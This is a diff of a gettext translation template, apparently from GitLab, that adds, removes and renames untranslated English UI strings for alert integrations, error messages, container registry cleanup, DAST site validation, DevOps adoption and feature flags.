+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2503,6 +2609,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2872,9 +3002,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -2908,16 +3035,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -2974,6 +3104,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3001,9 +3134,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3034,6 +3164,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3052,6 +3185,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3238,6 +3374,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3296,6 +3438,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3377,6 +3522,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3428,9 +3576,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3480,6 +3625,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3752,6 +3900,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3872,6 +4026,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4160,12 +4317,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4190,6 +4353,10 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4241,6 +4408,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4499,9 +4669,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4529,6 +4696,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4625,6 +4795,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4652,6 +4825,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4685,9 +4864,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4829,6 +5005,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4847,9 +5026,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -4916,6 +5092,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5102,12 +5281,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5141,6 +5314,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5309,7 +5485,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5351,10 +5527,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5402,7 +5578,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5411,9 +5587,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5504,6 +5677,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5612,6 +5788,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5870,9 +6049,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -5975,6 +6151,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6308,7 +6487,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6648,6 +6827,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6771,9 +6953,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -6945,6 +7124,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -6969,7 +7151,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -6995,6 +7177,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7070,6 +7255,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7079,6 +7273,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7101,7 +7304,16 @@ msgid "ContainerRegistry|Remove tag"
msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7110,6 +7322,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7131,21 +7346,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7933,9 +8157,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -7996,6 +8217,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8120,9 +8344,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8171,7 +8392,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8198,9 +8422,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8222,15 +8443,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8264,9 +8485,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8300,64 +8530,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation has failed. Please try again."
+msgstr ""
+
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8471,9 +8722,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8498,7 +8746,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8582,9 +8830,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
